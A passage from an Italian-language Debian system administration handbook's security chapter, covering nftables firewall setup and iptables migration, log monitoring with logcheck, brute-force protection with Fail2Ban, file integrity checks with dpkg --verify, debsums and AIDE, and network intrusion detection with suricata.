STRUMENTI fwbuilder e ufw

Sebbene sia (destinato a) essere sostituito da nftables, iptables è ancora ampiamente utilizzato ed adatto nella maggior parte dei casi. La creazione di una regola avviene tramite l'uso di iptables/ip6tables. Digitare manualmente questi comandi può essere noioso, quindi si preferisce memorizzare le istruzioni in uno script, in modo che la configurazione venga impostata automaticamente ad ogni avvio della macchina; in alternativa, le istruzioni possono essere rese "persistenti" usando iptables-persistent.

Normalmente è necessario scrivere a mano uno script. Ma esistono strumenti che rendono semplice la configurazione del firewall netfilter tramite una rappresentazione grafica dei ruoli di filtraggio. Senza dubbio fwbuilder è uno dei migliori tra questi strumenti. I ruoli sono creati con semplici azioni di prendi-e-trascina su oggetti (interfacce, reti, porte, server, ecc.). Pochi menu contestuali possono modificare la condizione (ad esempio negandola). Poi l'azione deve essere scelta e configurata.

Un'alternativa a scrivere e salvare/caricare i ruoli richiesti è l'uso di ufw, presente nel pacchetto con lo stesso nome. Questo strumento è un frontend per iptables, ma fornisce soltanto un'interfaccia a riga di comando. Semplici comandi possono abilitare o disabilitare (bloccare) il traffico di rete verso e da porte e indirizzi IP. I file di configurazione presenti in /etc/ufw/ permettono anche la creazione di insiemi di ruoli complessi (ad esempio creazione di hook nelle catene di Docker) che poi vengono salvati e caricati automaticamente. Questo strumento è spesso usato per semplici impostazioni e per bloccare il traffico in arrivo su porte che non possono essere assegnate a causa di un numero limitato di interfacce o chiuse in appropriatamente.

Per abilitare un firewall predefinito in Debian eseguire:

# apt install -y nftables Reading package lists... Done ... # systemctl enable nftables.service Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. Comportamento di nftables

Non appena il kernel sta processando un pacchetto di rete, si mette in pausa e ci permette di ispezionare il pacchetto per decidere cosa fare con esso. Per esempio si potrebbe volere buttare o scartare determinati pacchetti in arrivo, modificare altri pacchetti in diversi modi, bloccare alcuni pacchetti in uscita per controllare la presenza di malware o ridirigere alcuni pacchetto il prima possibile per collegare le interfacce di rete o per suddividere il carico dei pacchetti in arrivo tra più sistemi.

Una buona comprensione dei livelli 3,4 e 5 del modello OSI (Open Systems Interconnection) è essenziale per ricavare il massimo da netfilter.

CULTURA Il modello OSI

Il modello OSI è un modello concettuale per implementare protocolli di rete senza tener conto della sua tecnologia e struttura interna sottostante. Il suo scopo è l'interoperabilità di diversi sistemi di comunicazione con protocolli di comunicazione standard.

Questo modello è stato definito nello standard ISO/EIC 7498. Sono descritti i seguenti sette livelli:

Fisico: trasmissione e ricezione di flussi di bit grezzi su un mezzo trasmissivo fisico

Collegamento dati: trasmissione affidabile di dati tra due nodi connessi tramite un livello fisico

Rete: strutturare e gestire una rete multi-nodo, includendo indirizzamento, instradamento e controllo del traffico

Trasporto: trasmissione affidabile di segmenti di dati da un punto all'altro di una rete, includendo segmentazione, conferma di ricezione e multiplazione

Sessione: gestione delle sessioni di comunicazione, cioè scambio continuo di informazioni nella forma di trasmissioni multiple avanti-indietro tra due nodi

Presentazione: traduzione di dati tra un servizio di rete e un'applicazione; includendo la codifica dei caratteri, la compressione dei dati e la cifrazione/decifrazione

Applicazione: API di alto livello, include la condivisione di risorse e l'accesso remoto di file.

Ulteriori informazioni sono disponibili su Wikipedia:

→ https://it.wikipedia.org/wiki/Modello_OSI

Il firewall è configurato con tabelle, composte di regole contenute in catene. A differenza di iptables, nftables non ha nessuna tabella predefinita. L'utente decide quali e come le tabelle devono essere create. Ogni tabella deve avere assegnata soltanto una delle seguenti cinque famiglie: ip, ip6, inet, arp e bridge. ip è utilizzato se la famiglia non è stata speficificata.

Sono presenti due tipologie di catene: catene di base e catene regolari. Una catena di base è un punto d'ingresso per pacchetti dallo stack di rete. Le catene di base sono registrate negli hook di Netfilter, ad esempio essi vedono i pacchetti che passano nello stack TCP/IP. D'altro canto, una catena regolare non è attaccata a nessun hook e per questo non vede nessun traffico. Tuttavia può essere utilizzata come una destinazione di un salto per una migliore organizzazione dei ruoli.

Le regole sono composte da istruzioni, che includono alcune espressioni che devono essere confrontate il cui risultato determina l'istruzione da eseguire, come accept, drop, queue, continue, return, jump chain e goto chain.

FONDAMENTALE ICMP

ICMP (Internet Control Message Protocol) è il protocollo usato per trasmettere informazioni supplementari sulle comunicazioni. Permette di provare la connettività di rete con il comando ping (che invia un messaggio ICMP di echo request, al quale il destinatario risponde con un messaggio ICMP di echo reply). Può rilevare un firewall che rifiuta un pacchetto, indicare l'overflow di un buffer di ricezione, proporre un instradamento migliore per i successivi pacchetti nella connessione e così via. Questo protocollo è definito in numerosi documenti RFC; le prime RFC 777 e RFC 792 sono state ben presto completate ed estese.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Per chiarezza, un buffer di ricezione è una piccola area di memoria che immagazzina i dati nel tempo che intercorre tra il loro arrivo dalla rete e la loro elaborazione da parte del kernel. Se quest'area si riempie, non possono esser ricevuti nuovi dati, e l'ICMP segnala il problema, così la sorgente può abbassare la velocità di trasferimento (che raggiungerà idealmente un equilibrio dopo un certo tempo).

Da notare che, anche se le reti IPv4 possono lavorare senza ICMP, ICMPv6 è strettamente necessario per le reti IPv6, dato che esse utilizzano molte funzioni che erano, per il mondo IPv4, fornite da ICMPv4, IGMP (Internet Group Membership Protocol) e ARP (Address Resolution Protocol). ICMPv6 è definito nella RFC 4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Passare da iptables a nftables

I comandi iptables-translate e ip6tables-translate possono essere utilizzati per tradurre vecchi comandi iptables nella nuova sintassi di nftables. Possono essere tradotti anche interi insiemi di ruoli, in questo caso vengono migrati i ruoli configurati su un computer che ha Docker installato:

# iptables-save > iptables-ruleset.txt # iptables-restore-translate -f iptables-ruleset.txt # Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022 add table ip filter add chain ip filter INPUT { type filter hook input priority 0; policy accept; } add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; } add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; } add chain ip filter DOCKER add chain ip filter DOCKER-ISOLATION-STAGE-1 add chain ip filter DOCKER-ISOLATION-STAGE-2 add chain ip filter DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1 add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept add rule ip filter FORWARD oifname "docker0" counter jump DOCKER add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2 add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return add rule ip filter DOCKER-USER counter return add table ip nat add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; } add chain ip nat INPUT { type nat hook input priority 100; policy accept; } add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; } add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; } add chain ip nat DOCKER add rule ip nat PREROUTING fib daddr type local counter jump DOCKER add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade add rule ip nat DOCKER iifname "docker0" counter return # Completed on Wed Mar 16 22:06:32 2022 # iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft # nft -f ruleset.nft # nft list ruleset table inet filter { chain input { type filter hook input priority filter; policy accept; } chain forward { type filter hook forward priority filter; policy accept; } chain output { type filter hook output priority filter; policy accept; } } table ip nat { chain DOCKER { iifname "docker0" counter packets 0 bytes 0 return iifname "docker0" counter packets 0 bytes 0 return } chain POSTROUTING { type nat hook postrouting priority srcnat; policy accept; oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade } chain PREROUTING { type nat hook prerouting priority dstnat; policy accept; fib daddr type local counter packets 1 bytes 60 jump DOCKER fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain OUTPUT { type nat hook output priority -100; policy accept; ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain INPUT { type nat hook input priority 100; policy accept; } } table ip filter { chain DOCKER { } chain DOCKER-ISOLATION-STAGE-1 { iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return } chain DOCKER-ISOLATION-STAGE-2 { oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return } chain FORWARD { type filter hook forward priority filter; policy drop; counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state related,established counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state established,related counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept } chain DOCKER-USER { counter packets 0 bytes 0 return counter packets 0 bytes 0 return } chain INPUT { type filter hook input priority filter; policy accept; } chain OUTPUT { type filter hook output priority filter; policy accept; } }

Gli strumenti iptables-nft, ip6tables-nft, arptables-nft e ebtables-nft sono versioni di iptables che utilizzano le API di nftables, in modo che l'utente possa continuare ad utilizzare la vecchia sintassi di iptables, anche se non è raccomandato; questi strumenti dovrebbero essere usati soltanto per retrocompatibilità.

14.2.3. Sintassi di nft

Il comando nft permette la manipolazione di tabelle, catene e regole. L'opzione table supporta diverse operazioni: add, create, delete, list e flush. nft add table ip6 mangle aggiunge una nuova tabella della famiglia ip6.

Per inserire una nuova catena di base nella tabella filter, si può utilizzare il seguente comando (notare che il punto e virgola è protetto da un backslash quando si usa Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Le regole sono normalmente aggiunte con la seguente sintassi: nft add rule [family] table chain handle handle statement.

Il comando insert è simile al comando add, ma la regola data viene anteposta all'inizio della catena o prima della regola con il gestore dato invece che alla fine o dopo quella regola. Ad esempio, il comando seguente inserisce una regola prima di quella con il gestore numero 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

L'esecuzione dei comandi nft non genera modifiche permanenti alla configurazione, quindi vengono perse se non sono salvate. I regole del firewall sono presenti in /etc/nftables.conf. Un modo semplice per salvare in modo permanente la configurazione attuale del firewall è di eseguire come root nft list ruleset > /etc/nftables.conf.

nft permette molte altre operazioni, per maggiori informazioni fare riferimento alla sua pagina del manuale nft(8).

14.2.4. Installare le regole ad ogni avvio

Per abilitare un firewall predefinito in Debain è necessario registrare i ruoli in /etc/nftables.conf ed eseguire come root systemctl enable nftables. È possibile fermare il firewall eseguendo come root nft flush ruleset.

Negli altri casi, si consiglia di posizionare lo script di configurazione nella direttiva up del file /etc/network/interfaces. Nel seguente esempio, lo script è memorizzato in /usr/local/etc/arrakis.fw.

Esempio 14.1. File interfaces che richiama lo script del firewall

auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw

Questo presuppone ovviamente che si stia usando ifupdown per configurare le interfacce di rete. Se si sta utilizzando qualcos'altro (come NetworkManager o systemd-networkd), bisogna invece fare riferimento alla loro documentazione per trovare il modo di eseguire lo script dopo che l'interfaccia di rete è stata abilitata.

14.3. Supervisione: prevenire, rilevare, dissuadere

Il monitoraggio è parte integrante di ogni politica di sicurezza per svariati motivi. Tra questi, il fatto che l'obiettivo della sicurezza non è solitamente limitato soltanto alla garanzia della riservatezza dei dati, ma include anche l'assicurazione alla disponibilità dei servizi. È quindi obbligatorio verificare che tutto funzioni come previsto, e rilevare in maniera tempestiva ogni comportamento anomalo o variazione nella qualità dei(l) servizi(o) erogati(o). L'attività di monitoraggio permette di evidenziare tentativi di intrusione e permette di reagire rapidamente prima che si possa arrivare a gravi conseguenze. Questa sezione passa in rassegna alcuni strumenti che possono essere usati per monitorare molti degli aspetti di un sistema Debian. Come tale, completa Sezione 12.4, «Monitoraggio».

14.3.1. Monitorare i log con logcheck

Il comando logcheck monitora i file di log ogni ora per impostazione predefinita. Invia messaggi di log inconsueti via email all'amministratore per analisi più approfondite.

La lista dei file monitorati è salvata in /etc/logcheck/logcheck.logfiles; i valori predefiniti funzionano bene se il file /etc/rsyslog.conf non è stato completamente stravolto.

logcheck lavora in uno di tre modi più o meno dettagliati: paranoid, server e workstation. Il primo è molto prolisso, e dovrebbe essere usato solo per server specifici come i firewall. Il secondo modo (predefinito) è consigliato per la maggior parte dei server. L'ultimo è progettato per le workstation, ed è ancora più conciso (filtra maggiormente i messaggi).

In tutti e tre i casi, logcheck probabilmente dovrà essere personalizzato escludendo alcuni messaggi extra (a seconda dei servizi installati), a meno che l'amministratore non voglia veramente ricevere ammassi orari di lunghe e noiose email. Poiché il meccanismo di selezione dei messaggi è piuttosto complesso, il file /usr/share/doc/logcheck-database/README.logcheck-database.gz è una lettura consigliata, anche se impegnativa.

Le regole applicate possono essere suddivise in varie tipologie:

quelle che qualificano il messaggio come un tentativo di intrusione (memorizzato in un file nella directory /etc/logcheck/cracking.d/);

quelle che cancellano tale qualifica (/etc/logcheck/cracking.ignore.d/);

quelle che classificano il messaggio come un allarme di sicurezza (/etc/logcheck/violations.d/);

quelle che cancellano questa classificazione (/etc/logcheck/violations.ignore.d/);

infine, quelle che si applicano ai rimanenti messaggi (considerati come eventi di sistema).

ATTENZIONE Ignorare un messaggio

Tutti i messaggi etichettati come tentativo di intrusione oppure come allarme di sicurezza (seguendo una regola memorizzata in un file /etc/logcheck/violations.d/miofile) possono essere ignorati solamente tramite una regola nei file /etc/logcheck/violations.ignore.d/miofile oppure /etc/logcheck/violations.ignore.d/miofile-estensione.

Un evento di sistema è sempre segnalato a meno che una regola in una directory /etc/logcheck/ignore.d.{paranoid,server,workstation}/ stabilisca che l'evento debba essere ignorato. Le sole directory prese in considerazione sono esclusivamente quelle corrispondenti ad un livello di prolissità maggiore o uguale alla modalità di funzionamento selezionata.

14.3.2. Attività di monitoraggio

14.3.2.1. In tempo reale

top è uno strumento interattivo che mostra l'elenco dei processi attualmente in esecuzione. L'ordinamento predefinito è basato sull'utilizzo corrente del processore e può essere ottenuto con il tasto P. Altri tipi di ordinamento sono per occupazione di memoria (tasto M), per tempo totale di processore (tasto T) e per identificatore di processo (tasto N). Il tasto k permette di terminare un processo inserendo il suo identificatore di processo. Il tasto r permette il renice di un processo, cioè la variazione della sua priorità.

Quando il sistema sembra essere sovraccarico, top è un ottimo strumento per individuare i processi richiedono il tempo del processore o consumano troppa memoria. In particolare, spesso è interessante controllare se il processo che utilizza le risorse corrisponde realmente ad un servizio che la macchina mette a disposizione. Un processo sconosciuto in esecuzione con utente www-data dovrebbe subito saltare all'occhio ed essere controllato, dato che potenzialmente potrebbe essere l'istanza di un programma installato ed eseguito nel sistema attraverso una vulnerabilità di un'applicazione web.

top è uno strumento molto flessibile e le pagine del manuale riportano i dettagli di come modificarne la visualizzazione e adattarla alle abitudini e bisogni personali.

Lo strumento grafico gnome-system-monitor è simile a top e fornisce più o meno le stesse caratteristiche.

14.3.2.2. Storico

Il carico del processore, il traffico di rete e lo spazio libero su disco sono informazioni che variano costantemente. Mantenere uno storico della loro evoluzione spesso è utile nel determinare esattamente come viene utilizzato un computer.

Esistono molti strumenti dedicati a questo compito. La maggior parte può recuperare dati via SNMP (Simple Network Management Protocol) al fine di centralizzare l'informazione. Un ulteriore beneficio è che si possono recuperare dati da elementi di rete che non necessariamente sono computer generici, come ad esempio switch di rete o router dedicati.

Questo libro tratta Munin in dettaglio (vedere Sezione 12.4.1, «Impostazione di Munin») come parte di Capitolo 12: «Amministrazione avanzata». Debian fornisce anche un altro strumento simile, cacti. La sua installazione è leggermente più complessa, poiché si basa solo su SNMP. Pur disponendo di un'interfaccia web, capire i concetti coinvolti nella configurazione richiede qualche sforzo. La lettura della documentazione HTML (/usr/share/doc/cacti/html/Table-of-Contents.html) dovrebbe essere considerata un prerequisito.

ALTERNATIVA mrtg

mrtg (nel pacchetto che ha lo stesso nome) è un vecchio strumento. Nonostante sia un po' grezzo, può aggregare dati storici e visualizzarli sotto forma di grafici. Il pacchetto comprende una serie di script dedicati alla raccolta dei dati monitorati più diffusi come il carico del processore, il traffico di rete, le visite alle pagine web e così via.

I pacchetti mrtg-contrib e mrtgutils contengono script di esempio che possono essere utilizzati direttamente.

14.3.3. Evitare intrusioni

Gli attaccanti tentano di aver accesso ai server cercando di individuare le password, questo è il motivo per il quale devono essere sempre usate password robuste. Anche in questo caso bisogna stabilire misure contro attacchi di forza bruta. Un attacco di forza bruta è un tentativo di accedere ad un sistema software senza autorizzazione tramite l'effettuazione di tentativi di accesso ripetuti in un breve periodo di tempo.

Il miglior modo per fermare un attacco di forza bruta è quello di limitare il numero di tentativi di accesso a partire dalla stessa origine, normalmente bandendo temporaneamente un indirizzo IP.

Fail2Ban è una suite software per la prevenzione delle intrusioni che può essere configurata per tenere sotto controllo qualsiasi servizio che scrive tentativi di accesso in un file di log. Può essere trovato nel pacchetto fail2ban.

Fail2Ban è configurato attraverso un semplice protocollo da fail2ban-client, che legge anche file di configurazione e invia i comandi di configurazione corrispondenti al server fail2ban-server. Ha quattro tipi di file di configurazione, tutti presenti in /etc/fail2ban/:

fail2ban.conf. Configurazione globale (come generare log).

filter.d/*.conf. Filtri che specificano come individuare le autenticazioni fallite. Il pacchetto Debian già contiene i filtri per molti programmi comuni.

action.d/*.conf. Azioni che definiscono i comandi per bandire e "riabilitare" gli indirizzi IP.

jail.conf. È dove sono definite le jail date dalle combinazioni di filtri e azioni.

Diamo un'occhiata alla configurazione di sshd in /etc/fail2ban/jail.conf per meglio comprendere come funziona Fail2Ban...

[...] [DEFAULT] [...] bantime = 10m [...] findtime = 10m [...] maxretry = 5 [...] [sshd] port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s

Fail2Ban verificherà tentativi di accesso falliti per sshd tramite le espressioni regolati di Python definite in /etc/fail2ban/filter.d/sshd.conf leggendo il file di log di sshd che è definito nella variabile sshd_log presente nel file /etc/fail2ban/paths-common.conf. Se Fail2Ban intercetta cinque tentativi di accesso falliti in 10 minuti, allora metterà al bando, per 10 minuti, l'indirizzo IP da cui sono stati originati.

Per abilitare, disabilitare o configurare "jails" (prigioni) non è previsto che venga modificato il file di configurazione principale /etc/fail2ban/jail.conf. Invece queste azioni si dovrebbero effettuare in /etc/fail2ban/jail.d/defaults-debian.conf o in file contenuti nella stessa directory.

Fail2Ban è una modalità veramente semplice ed efficace per proteggersi contro gli attacchi a forza bruta più comuni, ma non può proteggere contro attacchi a forza bruta distribuiti, ovvero quando un utente malintenzionato utilizza un gran numero di macchine sparse su Internet.

Un buon metodo per fornire una protezione aggiuntiva contro gli attacchi a forza bruta distribuiti è quello di aumentare artificialmente il tempo di login dopo ogni tentativo fallito.

14.3.4. Rilevare le modifiche

Una volta che il sistema è installato e configurato, a meno di aggiornamenti di sicurezza, la maggior parte dei file e directory rimangono statici, dati a parte. È allora interessante assicurarsi che i file in realtà non cambino: vale la pena di investigare ogni variazione inattesa. Questa sezione presenta alcuni strumenti che permettono di monitorare i file e di avvisare l'amministratore quando si verificano cambiamenti non previsti (o semplicemente di elencare tali modifiche).

14.3.4.1. Revisione dei Pacchetti con dpkg --verify

APPROFONDIMENTO Proteggersi dalle modifiche degli autori

dpkg --verify e debsums sono utili nel segnalare variazioni ai file che provengono da un pacchetto Debian, ma sono inutili se il pacchetto stesso è compromesso, per esempio quando il mirror Debian è compromesso. Proteggersi da questa tipologia di attacchi implica l'uso del sistema di verifica delle firme digitali di APT (vedere Sezione 6.6, «Controllare l'autenticità dei pacchetti»), e prestare attenzione ad installare solamente i pacchetti provenienti da un'origine certificata.

dpkg --verify (o dpkg -V) è un'interessante strumento che permette di trovare i file installati che sono stati modificati (potenzialmente da un hacker), ma questo dovrebbe essere preso con le pinze. Per fare il proprio lavoro si basa su checksum memorizzati sul proprio database dpkg sull'hard disk (posso essere trovati in /var/lib/dpkg/info/package.md5sums); un hacker scrupoloso aggiornerà quindi questi file in modo da contenere i nuovi checksum per i file modificati.

FONDAMENTALE File di imponte digitali

Promemoria: l'impronta digitale è un valore, spesso numerico (anche se in notazione esadecimale), che contiene una specie di firma del contenuto di un file. Questa firma è calcolata con un algoritmo, ad esempio MD5 tramite md5sum oppure SHA* tramite diversi comandi sha* sono gli esempi più noti, che più o meno garantisce che anche il più piccolo cambiamento nel contenuto del file porti ad una variazione nell'impronta digitale; è conosciuto come "effetto valanga". Ciò permette di usare un'impronta numerica semplice di essere usata come cartina tornasole per verificare se il contenuto di un file è stato alterato. Questi algoritmi non sono reversibili; in altre parole, per la maggior parte di questi, conoscere un'impronta digitale non permette di ricavarne il contenuto corrispondente. Recenti progressi matematici sembra abbiano però indebolito l'assolutezza di questi principi, ma il loro uso finora non è stato messo in discussione, dal momento che sembra ancora piuttosto difficile creare contenuti differenti con la stessa impronta digitale.

L'esecuzione di dpkg -V verificherà tutti i pacchetti installati e stamperà una riga per ogni file con test fallito. Il formato è uguale a quello di rpm -V dove ogni carattere indica un test su alcuni meta-dati specifici. Purtroppo dpkg non memorizza i meta-dati necessari per la maggior parte dei test e quindi questi saranno contrassegnati con un punto interrogativo. Attualmente solo il test di checksum può produrre un "5" sul terzo carattere (quando fallisce).

# dpkg -V ??5?????? /lib/systemd/system/ssh.service ??5?????? c /etc/libvirt/qemu/networks/default.xml ??5?????? c /etc/lvm/lvm.conf ??5?????? c /etc/salt/roster

Nell'esempio sopra, dpkg riporta una modifica al file del servizio SSH che l'amministratore ha fatto al file del pacchetto invece di usare un appropriato file override /etc/systemd/system/ssh.service.d/override.conf (che verrebbe memorizzato sotto /etc come qualsiasi modifica di configurazione dovrebbe essere fatta). Elenca anche più file di configurazione (identificati dalla lettera "c" sul secondo campo) che sono stati legittimamente modificati.

14.3.4.2. Controllo dei pacchetti: debsums e i suoi limiti

debsums è l'antenato di dpkg -V ed è quindi in gran parte obsoleto. Ha gli stessi limiti di dpkg. Fortunatamente, alcune delle limitazioni possono essere aggirate (mentre dpkg non offre questa possibilità).

Dal momento che i dati su disco non possono essere sicuri, debsums offre la possibilità di fare i controlli sulla base dei file .deb anzichè affidarsi al database di dpkg. Per scaricare i file .deb fidati di tutti i pacchetti installati, possiamo contare solo sui download autenticati di APT. Questa operazione può essere lenta e noiosa, e quindi non dovrebbe essere considerata una tecnica proattiva da utilizzare in modo abituale.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all

Da notare che questo esempio utilizza il comando grep-status del pacchetto dctrl-tools, che non è installato in modo predefinito.

debsums può essere eseguito frequentemente come impostazione di un cronjob CRON_CHECK in /etc/default/debsums. Per ignorare alcuni file esterni alla directory /etc, che sono stati modificati intenzionalmente o che sappiamo verranno modificati (come /usr/share/misc/pci.ids) è possibile aggiungerli nel file /etc/debsums-ignore.

14.3.4.3. Monitorare i file: AIDE

Lo strumento AIDE (Advanced Intrusion Detection Environment) permette di verificare l'integrità dei file e rileva tutti i cambiamenti rispetto ad una immagine valida archiviata del sistema. Questa immagine viene memorizzata in un database (/var/lib/aide/aide.db) contenente le informazioni significative di tutti i file del sistema (impronte digitali, permessi, data e ora e così via). Questo database viene generato inizialmente con aideinit; esso viene poi utilizzato su base giornaliera (dallo script /etc/cron.daily/aide) per verificare che non sia cambiato nulla di significativo. Quando viene rilevata una modifica, AIDE la elenca nei file di log (/var/log/aide/*.log) e invia i risultati via email all'amministratore.

IN PRATICA Proteggere il database

Dal momento che AIDE usa un database locale per confrontare lo stato dei file, l'affidabilità dei suoi risultati è direttamente legata alla validità del suo database. Se un autore di un attacco acquisisce i permessi di root su un sistema compromesso, sarà in grado di sostituire il database per nascondere le sue tracce. Una possibile soluzione è quella di salvare i relativi dati su un supporto a sola lettura.

Sono presenti molte opzioni in /etc/default/aide per modificare il comportamento del pacchetto aide. La configurazione vera e propria di AIDE viene memorizzata in /etc/aide/aide.conf e /etc/aide/aide.conf.d/ (in realtà, questi file vengono utilizzati da update-aide.conf per generare /var/lib/aide/aide.conf.autogenerated). La configurazione indica quali proprietà di quali file devono essere controllate. Per esempio, il contenuto dei file di log cambia regolarmente, e tali cambiamenti possono essere ignorati fino a quando i permessi di questi file rimangono invariati, ma sia il contenuto che i permessi dei programmi eseguibili devono rimanere costanti. Anche se non molto complessa, la sintassi della configurazione non è del tutto intuitiva, ed è quindi consigliato leggere la pagina di manuale aide.conf(5).

Una nuova versione del database è generata giornalmente in /var/lib/aide/aide.db.new; se tutte le variazioni raccolte sono legittime, viene usato per sostituire il database di riferimento.

ALTERNATIVE Tripwire e Samhain

Tripwire è molto simile ad AIDE; anche la sintassi del file di configurazione è bene o male la stessa. La principale novità fornita da tripwire è il meccanismo di firma del file di configurazione, affinché un autore di un attacco non possa associarlo a una diversa versione del database di riferimento.

Anche Samhain offre caratteristiche simili, oltre ad alcune funzioni per permettere la rilevazione dei rootkit (vedere il riquadro SGUARDO VELOCE I pacchetti checksecurity e chkrootkit/rkhunter). Può anche essere distribuito globalmente in rete, memorizzando i suoi risultati in un server centrale (con firma).

SGUARDO VELOCE I pacchetti checksecurity e chkrootkit/rkhunter

Il primo di questi pacchetti contiene numerosi script brevi che eseguono controlli di base sul sistema (password vuote, nuovi file con setuid e così via) e avvertono l'amministratore se necessario. Nonostante il suo nome esplicito, un amministratore non dovrebbe affidarsi solamente ad esso per garantire la sicurezza di un sistema Linux.

I pacchetti chkrootkit e rkhunter permettono di cercare rootkit potenzialmente installati nel sistema. Come promemoria, un rootkit è una parte di software progettata per nascondere il fatto che il sistema è compromesso mentre mantiene in modo discreto il controllo sulla macchina. I test non sono affidabili al 100%, ma solitamente riescono ad attirare l'attenzione dell'amministratore su potenziali problemi.

rkhunter effettua anche controlli per verificare se i comandi sono stati modificati, se i file di avvio del sistema sono stati alterati oltre a vari controlli sulle interfacce di rete, inclusi i controlli sulle applicazioni in ascolto.

14.3.5. Rilevare intrusioni (IDS/NIDS)

FONDAMENTALE Denial of service

Un attacco "denial of service" ha un solo scopo: bloccare la disponibilità di un servizio. Che un attacco di questo tipo implichi il sovraccarico del server tramite interrogazioni o lo sfruttamento di un bug, il risultato finale è il medesimo: il servizio non è più fruibile. Gli utenti ordinari sono scontenti, e il soggetto che ospita il servizio di rete preso di mira subisce una perdita di reputazione (e probabilmente di ricavi, per esempio se il servizio è un sito di e-commerce).

Un attacco di questo tipo si presenta talvolta "distribuito"; di solito si causa un sovraccarico del server attraverso una grande quantità di interrogazioni provenienti da numerose sorgenti distinte portando all'incapacità di rispondere alle interrogazioni legittime. A queste tipologie di attacchi sono stati associati acronimi ben conosciuti: DDoS e DoS (a seconda che il denial of service sia distribuito o meno).

suricata (nel pacchetto Debian con lo stesso nome) è un NIDS — un Network Intrusion Detection System (Sistema di Intercettazione delle Intrusioni di Rete). La sua funzione è quella di mettersi in ascolto sulla rete e cercare di rilevare tentativi di infiltrazione e/o atti ostili (inclusi attacchi denial of service). Tutti questi eventi vengono raccolti in file multipli in /var/log/suricata. Ci sono strumenti di terze parti (Kibana/logstash) per consultare al meglio i dati raccolti.

→ https://suricata.io

→ https://www.elastic.co/products/kibana

ATTENZIONE Raggio d'azione

L'efficacia di suricata è limitata al traffico che transita sull'interfaccia di rete monitorata. Ovviamente non sarà in grado di rilevare alcunché se non può osservare il traffico reale. Quando è collegato ad uno switch di rete, rileverà quindi solo gli attacchi alla macchina nella quale è in esecuzione, cosa che probabilmente non è ciò che si desidera. La macchina che ospita suricata dovrà perciò essere connessa ad una porta "mirror" dello switch, che è solitamente riservata a collegare altri switch e quindi rileva il traffico complessivo.

La configurazione di suricata implica la revisione e la modifica di /etc/suricata/suricata.yaml, che è molto lunga poiché ogni parametro è abbondantemente commentato. Una configurazione minima richiede che venga descritto l'intervallo di indirizzi coperti dalla rete locale (parametro HOME_NET). In pratica, questo significa l'insieme di tutti i potenziali obiettivi d'attacco. Ma per sfruttarlo al meglio è richiesto leggerlo completamente e adattarlo alla situazione locale.

Inoltre, è necessario modificarlo per definire l'interfaccia di rete. Si potrebbe anche voler impostare LISTENMODE=pcap perché l'impostazione predefinita LISTENMODE=nfqueue richiede ulteriori configurazioni per funzionare correttamente (il firewall netfilter deve essere configurato per far passare i pacchetti in qualche coda nello spazio utente gestito da suricata tramite la destinazione NFQUEUE).

Per rilevare un comportamento malevolo, suricata ha bisogno di un insieme di regole di monitoraggio: è possibile trovare le regole nel pacchetto snort-rules-default. snort è il riferimento storico nell'ecosistema IDS e suricata è in grado di riutilizzare le regole scritte per esso.

In alternativa, può essere usato oinkmaster (nel pacchetto omonimo) per scaricare di set di regole di Snort da fonti esterne.

APPROFONDIMENTO Integrazione con prelude

